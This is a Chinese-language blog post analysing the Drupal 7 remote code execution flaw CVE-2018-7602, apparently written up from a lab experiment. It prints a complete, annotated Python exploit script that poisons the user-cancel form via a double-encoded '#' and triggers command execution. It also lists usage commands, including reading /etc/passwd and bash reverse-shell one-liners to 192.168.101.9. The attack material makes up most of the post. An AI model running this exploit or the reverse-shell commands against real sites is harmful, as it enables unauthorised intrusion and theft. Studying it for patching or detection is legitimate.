Drupal遠程代碼執行(CVE-2018-7602)與其Poc分析

漏洞概述

這個漏洞是CVE-2018-7600的繞過利用，兩個漏洞原理是一樣的。攻擊者可以通過不同方式利用該漏洞遠程執行代碼。CVE-2018-7602這個漏洞是CVE-2018-7600的另一個利用點，只是入口方式不一樣。所以，一旦參數可控並且沒有經過正確的過濾，就很有可能出問題。
 

漏洞影響

①對URL中的#進行編碼兩次，繞過sanitize()函數過濾
②任意命令執行
③…

影響版本

Drupal 7.x，8.x

修復版本

Drupal 7.59，Drupal 8.5.3，Drupal 8.4.8
 

漏洞復現及利用

-c參數後的"id"爲要執行的命令 第一個root爲用戶名 第二個root爲密碼
python3 drupa7-CVE-2018-7602.py -c “id” root root http://127.0.0.1:8081/

//查看內核版本
python3 drupa7-CVE-2018-7602.py -c “uname -a” root root http://127.0.0.1:8081/

//查看敏感文件
python3 drupa7-CVE-2018-7602.py -c “cat …/…/…/…/…/etc/passwd” root root http://127.0.0.1:8081/

//反向shell（好像利用不到？）
①python3 drupa7-CVE-2018-7602.py -c “bash –i >& /dev/tcp/192.168.101.9/2333 0>&1” root root http://127.0.0.1:8081/
②python3 drupa7-CVE-2018-7602.py -c “cd …/…/…/…/…/…/ && bash –i >& /dev/tcp/192.168.101.9/2333 0>&1” root root http://127.0.0.1:8081/
③…傳送門
 

poc簡單分析

(都在註釋裏呢~)

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():  //獲取參數
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")  //用戶名
  parser.add_argument("password", help="Password")  //密碼
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")  //目標
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")   //參數
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()  //判斷抓包無誤
  session = requests.Session() //獲取seesion
  proxyConf = {'http': proxy, 'https': proxy}  //none proxy
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}  //構造get
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'} //構造post
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf) //構造postseesion
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)  //構造getseesion
    soup = BeautifulSoup(r.text, "html.parser") //爬取頁面
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')  //抓關鍵字
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]  //以=作分隔符，再通過索引[1]取出所得數組中的第二個元素的值
    if(user_id):
      print('[*] User ID found: ' + user_id)  //以上主要抓取user_id值

    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value') //以上主要獲取form_token參數值

    // %23是#的URL編碼
    //其中%2523是對#的兩次URL編碼 %25是%的URL編碼
    //例如：POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=id
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    // # 繞過sanitize(),stripDangrousValues函數檢查。
    //在Drupal應用對destination URL進行處理時，會再次解碼%23,獲得#
    

    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}

    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')

    //關鍵點是讓系統緩存一個form_build_id，這個form存着我們傳入的惡意參數，第二個請求從中取出來然後執行
    //觸發漏洞還是需要發兩個post包，一個存入form_build_id一個取出後執行
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args  //return args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip()) //目標，用戶名，密碼，參數值


if __name__ == '__main__':
  main()

 
GOT IT！
簡單收穫——對poc又進一步瞭解

 
******************************************************
小實驗小結，具體測試利用方式需根據具體實踐場景~